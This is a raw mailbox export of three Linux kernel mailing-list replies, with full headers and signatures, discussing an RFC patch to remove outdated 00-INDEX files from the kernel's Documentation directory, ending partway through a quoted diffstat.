NNTP-Posting-Date: Tue, 4 Sep 2018 11:05:37 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Will Deacon <will.deacon@arm.com>,
 dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>, Helge Deller <deller@gmx.de>,
 Radim =?utf-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo M
To: Henrik Austad <henrik@austad.us>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Tue Sep 04 13:05:27 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fx99D-00029d-6Z
	for sf-dri-devel@m.gmane.org; Tue, 04 Sep 2018 13:05:27 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 733B56E395;
	Tue,  4 Sep 2018 11:07:35 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
X-Greylist: delayed 1500 seconds by postgrey-1.36 at gabe;
 Tue, 04 Sep 2018 11:07:34 UTC
Original-Received: from heliosphere.sirena.org.uk (heliosphere.sirena.org.uk
 [IPv6:2a01:7e01::f03c:91ff:fed4:a3b6])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 74A1D6E395
 for <dri-devel@lists.freedesktop.org>; Tue,  4 Sep 2018 11:07:34 +0000 (UTC)
Original-Received: from cpc102320-sgyl38-2-0-cust46.18-2.cable.virginm.net
 ([82.37.168.47] helo=debutante.sirena.org.uk)
 by heliosphere.sirena.org.uk with esmtpa (Exim 4.89)
 (envelope-from <broonie@sirena.org.uk>)
 id 1fx8m1-0001FV-94; Tue, 04 Sep 2018 10:41:29 +0000
Original-Received: by debutante.sirena.org.uk (Postfix, from userid 1000)
 id 0D93111227D8; Tue,  4 Sep 2018 11:41:29 +0100 (BST)
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
X-Cookie: Times approximate.
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235021 gmane.linux.ports.mips.general:66342 gmane.comp.emulators.kvm.devel:192017 gmane.linux.documentation:59321 gmane.linux.kernel.lsm:39731 gmane.linux.kernel.gpio:33820 gmane.linux.kbuild.devel:21102 gmane.linux.ports.parisc:28923 gmane.linux.ide:65384 gmane.linux.kernel.pci:74927 gmane.linux.power-management.general:105880 gmane.linux.kernel:2861033 gmane.linux.kernel.spi.devel:29943 gmane.linux.network:552905 gmane.linux.ports.ppc64.devel:161978 gmane.linux.drivers.devicetree:286670
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235021>


--===============1866576464==
Content-Type: multipart/signed; micalg=pgp-sha512;
	protocol="application/pgp-signature"; boundary="O5XBE6gyVG5Rl6Rj"
Content-Disposition: inline


--O5XBE6gyVG5Rl6Rj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, Sep 04, 2018 at 12:15:23AM +0200, Henrik Austad wrote:
> This is a respin with a wider audience (all that get_maintainer returned)
> and I know this spams a *lot* of people. Not sure what would be the correct
> way, so my apologies for ruining your inbox.

Acked-by: Mark Brown <broonie@kernel.org>

--O5XBE6gyVG5Rl6Rj
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQEzBAABCgAdFiEEreZoqmdXGLWf4p/qJNaLcl1Uh9AFAluOYVgACgkQJNaLcl1U
h9AYzQgAhduv2URwLqYje3JPZtGLqtLxGgecyHS/ksa1VCCcPy8kltd2kZ8xOeys
+n8FKms8rzw5bCeyggflQj54NZhlSt+gBMjCKx+A8swUeqcfHp7GmI+MPeF2PUGr
UhdoTr8/roMv7kA67RzNkzquvenYFSDtFFqDklULYikGBbMs3uACTGyaIxVhyU5x
tWiVzem5oybY2SwnokmrT7aiM2asAg89X7PvSZytgef09Hb4FtKptTIYr0p5RVS9
2M90CByKZ7P86IKpAVGn5y9rhDPVEOuMq37XrlDDa57Hr71V5qZbYXCPWyvI0+oo
U3tAq34v0zey0x1/+mZd3Cl6zUBJng==
=oJFX
-----END PGP SIGNATURE-----

--O5XBE6gyVG5Rl6Rj--

--===============1866576464==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: inline

X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KZHJpLWRldmVs
IG1haWxpbmcgbGlzdApkcmktZGV2ZWxAbGlzdHMuZnJlZWRlc2t0b3Aub3JnCmh0dHBzOi8vbGlz
dHMuZnJlZWRlc2t0b3Aub3JnL21haWxtYW4vbGlzdGluZm8vZHJpLWRldmVsCg==

--===============1866576464==--


From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue, 4 Sep 2018 13:30:30 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20180904113030.GB25177@amd>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============1037788062=="
X-Trace: blaine.gmane.org 1536060519 25292 195.159.176.226 (4 Sep 2018 11:28:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 4 Sep 2018 11:28:39 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Will Deacon <will.deacon@arm.com>,
 dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 "H. Peter Anvin" <hpa@zytor.com>, Evgeniy Polyakov <zbr@ioremap.net>,
 linux-s390@vger.kernel.org, Ian Kent <raven@themaw.net>,
 linux-security-module@vger.kernel.org, Paul Moore <paul@paul-moore.com>,
 Jonathan Corbet <corbet@lwn.net>, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>,
 Radim =?utf-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 "P
To: Henrik Austad <henrik@austad.us>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Tue Sep 04 13:28:29 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fx9VU-0006Kg-7r
	for sf-dri-devel@m.gmane.org; Tue, 04 Sep 2018 13:28:28 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id C345A89142;
	Tue,  4 Sep 2018 11:30:36 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from atrey.karlin.mff.cuni.cz (atrey.karlin.mff.cuni.cz
 [195.113.26.193])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 75E7389142
 for <dri-devel@lists.freedesktop.org>; Tue,  4 Sep 2018 11:30:35 +0000 (UTC)
Original-Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512)
 id 453268065F; Tue,  4 Sep 2018 13:30:32 +0200 (CEST)
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235023 gmane.linux.ports.mips.general:66343 gmane.comp.emulators.kvm.devel:192019 gmane.linux.documentation:59323 gmane.linux.kernel.lsm:39732 gmane.linux.kernel.gpio:33821 gmane.linux.kbuild.devel:21103 gmane.linux.ports.parisc:28924 gmane.linux.ide:65385 gmane.linux.kernel.pci:74928 gmane.linux.power-management.general:105881 gmane.linux.kernel:2861051 gmane.linux.kernel.spi.devel:29951 gmane.linux.network:552906 gmane.linux.ports.ppc64.devel:161979 gmane.linux.drivers.devicetree:286679
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235023>


--===============1037788062==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Fba/0zbH8Xs+Fj9o"
Content-Disposition: inline


--Fba/0zbH8Xs+Fj9o
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

> The 00-INDEX files are supposed to give a summary of all files present
> in a directory, but these files are horribly out of date and their
> usefulness is brought into question. Often a simple "ls" would reveal
> the same information as the filenames are generally quite descriptive as
> a short introduction to what the file covers (it should not surprise


> -SAK.txt
> -	- info on Secure Attention Keys.
> -SM501.txt
> -	- Silicon Motion SM501 multimedia companion chip
> -btmrvl.txt
> -	- info on Marvell Bluetooth driver usage.

Well, I don't know what sm501 is, but description helps me. SAK is
similar. .. as is btmrvl.

I'd say this is still quite valueable, and it might be worth fixing,
rather then removing completely.

And yes, moving stuff to subdirectories and naming files reasonably
would help, too. "btmrvl" is really bad name...

									Pavel
--=20
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blo=
g.html

--Fba/0zbH8Xs+Fj9o
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iEYEARECAAYFAluObNYACgkQMOfwapXb+vIEUgCfflpJ++Ke7RojgYEKLcv9wdCK
VcAAoJ44RGl6/ZbjcSM3g58FnjCGx/f+
=c4sE
-----END PGP SIGNATURE-----

--Fba/0zbH8Xs+Fj9o--

--===============1037788062==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: inline

X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KZHJpLWRldmVs
IG1haWxpbmcgbGlzdApkcmktZGV2ZWxAbGlzdHMuZnJlZWRlc2t0b3Aub3JnCmh0dHBzOi8vbGlz
dHMuZnJlZWRlc2t0b3Aub3JnL21haWxtYW4vbGlzdGluZm8vZHJpLWRldmVsCg==

--===============1037788062==--


From - Thu Nov 08 21:41:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue, 4 Sep 2018 06:02:56 -0700
Lines: 2463
Approved: news@gmane.org
Message-ID: <20180904130256.GW4225@linux.vnet.ibm.com>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1536066830 30001 195.159.176.226 (4 Sep 2018 13:13:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 4 Sep 2018 13:13:50 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Linus Walleij <linus.walleij@linaro.org>,
 Will Deacon <will.deacon@arm.com>, dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Jonathan Corbet <corbet@lwn.net>,
 Helge Deller <deller@gmx.de>,
 Radim =?utf-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ing
To: Henrik Austad <henrik@austad.us>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Sep 04 15:13:40 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1fxB9G-0007W3-NT
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 04 Sep 2018 15:13:39 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 424S501lgbzF3MT
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue,  4 Sep 2018 23:15:48 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=linux.vnet.ibm.com
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=none (mailfrom) smtp.mailfrom=linux.vnet.ibm.com
 (client-ip=148.163.156.1; helo=mx0a-001b2d01.pphosted.com;
 envelope-from=paulmck@linux.vnet.ibm.com; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none)
 header.from=linux.vnet.ibm.com
Original-Received: from mx0a-001b2d01.pphosted.com (mx0a-001b2d01.pphosted.com
 [148.163.156.1])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 424RpY48fKzF3L8
 for <linuxppc-dev@lists.ozlabs.org>; Tue,  4 Sep 2018 23:03:14 +1000 (AEST)
Original-Received: from pps.filterd (m0098393.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w84CxfQm130831
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 4 Sep 2018 09:03:10 -0400
Original-Received: from e13.ny.us.ibm.com (e13.ny.us.ibm.com [129.33.205.203])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2m9sqctjaa-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 04 Sep 2018 09:03:08 -0400
Original-Received: from localhost
 by e13.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linuxppc-dev@lists.ozlabs.org> from <paulmck@linux.vnet.ibm.com>;
 Tue, 4 Sep 2018 09:03:07 -0400
Original-Received: from b01cxnp23034.gho.pok.ibm.com (9.57.198.29)
 by e13.ny.us.ibm.com (146.89.104.200) with IBM ESMTP SMTP Gateway: Authorized
 Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Tue, 4 Sep 2018 09:02:56 -0400
Original-Received: from b01ledav003.gho.pok.ibm.com (b01ledav003.gho.pok.ibm.com
 [9.57.199.108])
 by b01cxnp23034.gho.pok.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w84D2sph26673170
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Tue, 4 Sep 2018 13:02:54 GMT
Original-Received: from b01ledav003.gho.pok.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id DE59AB2064;
 Tue,  4 Sep 2018 09:01:42 -0400 (EDT)
Original-Received: from b01ledav003.gho.pok.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 311E4B205F;
 Tue,  4 Sep 2018 09:01:42 -0400 (EDT)
Original-Received: from paulmck-ThinkPad-W541 (unknown [9.80.237.165])
 by b01ledav003.gho.pok.ibm.com (Postfix) with ESMTP;
 Tue,  4 Sep 2018 09:01:42 -0400 (EDT)
Original-Received: by paulmck-ThinkPad-W541 (Postfix, from userid 1000)
 id 8B77916C1BF8; Tue,  4 Sep 2018 06:02:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
X-TM-AS-GCONF: 00
x-cbid: 18090413-0064-0000-0000-00000346AFAD
X-IBM-SpamModules-Scores: 
X-IBM-SpamModules-Versions: BY=3.00009668; HX=3.00000242; KW=3.00000007;
 PH=3.00000004; SC=3.00000266; SDB=6.01083415; UDB=6.00559107; IPR=6.00863415; 
 MB=3.00023106; MTD=3.00000008; XFM=3.00000015; UTC=2018-09-04 13:03:07
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18090413-0065-0000-0000-00003A876CA3
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-04_07:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=0 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809040135
X-Mailman-Approved-At: Tue, 04 Sep 2018 23:09:17 +1000
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:130266 gmane.linux.ports.mips.general:66344 gmane.comp.emulators.kvm.devel:192023 gmane.linux.documentation:59325 gmane.comp.video.dri.devel:235065 gmane.linux.kernel.lsm:39734 gmane.linux.kernel.gpio:33824 gmane.linux.kbuild.devel:21104 gmane.linux.ports.parisc:28925 gmane.linux.ide:65386 gmane.linux.kernel.pci:74931 gmane.linux.power-management.general:105882 gmane.linux.kernel:2861113 gmane.linux.kernel.spi.devel:29958 gmane.linux.network:552917 gmane.linux.drivers.devicetree:286694
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/130266>

On Tue, Sep 04, 2018 at 12:15:23AM +0200, Henrik Austad wrote:
> This is a respin with a wider audience (all that get_maintainer returned)
> and I know this spams a *lot* of people. Not sure what would be the correct
> way, so my apologies for ruining your inbox.
> 
> The 00-INDEX files are supposed to give a summary of all files present
> in a directory, but these files are horribly out of date and their
> usefulness is brought into question. Often a simple "ls" would reveal
> the same information as the filenames are generally quite descriptive as
> a short introduction to what the file covers (it should not surprise
> anyone what Documentation/sched/sched-design-CFS.txt covers)
> 
> A few years back it was mentioned that these files were no longer really
> needed, and they have since then grown further out of date, so perhaps
> it is time to just throw them out.
> 
> A short status yields the following _outdated_ 00-INDEX files, first
> counter is files listed in 00-INDEX but missing in the directory, last
> is files present but not listed in 00-INDEX.
> 
> List of outdated 00-INDEX:
> Documentation: (4/10)
> Documentation/sysctl: (0/1)
> Documentation/timers: (1/0)
> Documentation/blockdev: (3/1)
> Documentation/w1/slaves: (0/1)
> Documentation/locking: (0/1)
> Documentation/devicetree: (0/5)
> Documentation/power: (1/1)
> Documentation/powerpc: (0/5)
> Documentation/arm: (1/0)
> Documentation/x86: (0/9)
> Documentation/x86/x86_64: (1/1)
> Documentation/scsi: (4/4)
> Documentation/filesystems: (2/9)
> Documentation/filesystems/nfs: (0/2)
> Documentation/cgroup-v1: (0/2)
> Documentation/kbuild: (0/4)
> Documentation/spi: (1/0)
> Documentation/virtual/kvm: (1/0)
> Documentation/scheduler: (0/2)
> Documentation/fb: (0/1)
> Documentation/block: (0/1)
> Documentation/networking: (6/37)
> Documentation/vm: (1/3)
> 
> Then there are 364 subdirectories in Documentation/ with several files that
> are missing 00-INDEX alltogether (and another 120 with a single file and no
> 00-INDEX).
> 
> I don't really have an opinion to whether or not we /should/ have 00-INDEX,
> but the above 00-INDEX should either be removed or be kept up to date. If
> we should keep the files, I can try to keep them updated, but I rather not
> if we just want to delete them anyway.
> 
> As a starting point, remove all index-files and references to 00-INDEX and
> see where the discussion is going.

For the RCU portions:

Acked-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>

> Again, sorry for the insanely wide distribution.
> 
> Signed-off-by: Henrik Austad <henrik@austad.us>
> Cc: Jonathan Corbet <corbet@lwn.net>
> Cc: Bjorn Helgaas <bhelgaas@google.com>
> Cc: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
> Cc: Josh Triplett <josh@joshtriplett.org>
> Cc: Steven Rostedt <rostedt@goodmis.org>
> Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> Cc: Lai Jiangshan <jiangshanlai@gmail.com>
> Cc: Jens Axboe <axboe@kernel.dk>
> Cc: Rob Herring <robh+dt@kernel.org>
> Cc: Mark Rutland <mark.rutland@arm.com>
> Cc: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
> Cc: Linus Walleij <linus.walleij@linaro.org>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Karsten Keil <isdn@linux-pingi.de>
> Cc: Masahiro Yamada <yamada.masahiro@socionext.com>
> Cc: Michal Marek <michal.lkml@markovi.net>
> Cc: Peter Zijlstra <peterz@infradead.org>
> Cc: Ingo Molnar <mingo@redhat.com>
> Cc: Will Deacon <will.deacon@arm.com>
> Cc: Ralf Baechle <ralf@linux-mips.org>
> Cc: Paul Burton <paul.burton@mips.com>
> Cc: James Hogan <jhogan@kernel.org>
> Cc: Paul Moore <paul@paul-moore.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "Rafael J. Wysocki" <rjw@rjwysocki.net>
> Cc: Len Brown <len.brown@intel.com>
> Cc: Pavel Machek <pavel@ucw.cz>
> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> Cc: Paul Mackerras <paulus@samba.org>
> Cc: Michael Ellerman <mpe@ellerman.id.au>
> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> Cc: Jiri Slaby <jslaby@suse.com>
> Cc: Mark Brown <broonie@kernel.org>
> Cc: Thomas Gleixner <tglx@linutronix.de>
> Cc: Paolo Bonzini <pbonzini@redhat.com>
> Cc: "Radim Krčmář" <rkrcmar@redhat.com>
> Cc: Evgeniy Polyakov <zbr@ioremap.net>
> Cc: "H. Peter Anvin" <hpa@zytor.com>
> Cc: x86@kernel.org
> Cc: Henrik Austad <henrik@austad.us>
> Cc: Andrew Morton <akpm@linux-foundation.org>
> Cc: Ian Kent <raven@themaw.net>
> Cc: Jacek Anaszewski <jacek.anaszewski@gmail.com>
> Cc: Mike Rapoport <rppt@linux.vnet.ibm.com>
> Cc: Jan Kandziora <jjj@gmx.de>
> Cc: linux-doc@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-pci@vger.kernel.org
> Cc: devicetree@vger.kernel.org
> Cc: dri-devel@lists.freedesktop.org
> Cc: linux-fbdev@vger.kernel.org
> Cc: linux-gpio@vger.kernel.org
> Cc: linux-ide@vger.kernel.org
> Cc: netdev@vger.kernel.org
> Cc: linux-kbuild@vger.kernel.org
> Cc: linux-mips@linux-mips.org
> Cc: linux-security-module@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-pm@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-s390@vger.kernel.org
> Cc: linux-spi@vger.kernel.org
> Cc: kvm@vger.kernel.org
> Signed-off-by: Henrik Austad <haustad@cisco.com>
> ---
>  Documentation/00-INDEX                  | 428 --------------------------------
>  Documentation/PCI/00-INDEX              |  26 --
>  Documentation/RCU/00-INDEX              |  34 ---
>  Documentation/RCU/rcu.txt               |   4 -
>  Documentation/admin-guide/README.rst    |   3 +-
>  Documentation/arm/00-INDEX              |  50 ----
>  Documentation/block/00-INDEX            |  34 ---
>  Documentation/blockdev/00-INDEX         |  18 --
>  Documentation/cdrom/00-INDEX            |  11 -
>  Documentation/cgroup-v1/00-INDEX        |  26 --
>  Documentation/devicetree/00-INDEX       |  12 -
>  Documentation/fb/00-INDEX               |  75 ------
>  Documentation/filesystems/00-INDEX      | 153 ------------
>  Documentation/filesystems/nfs/00-INDEX  |  26 --
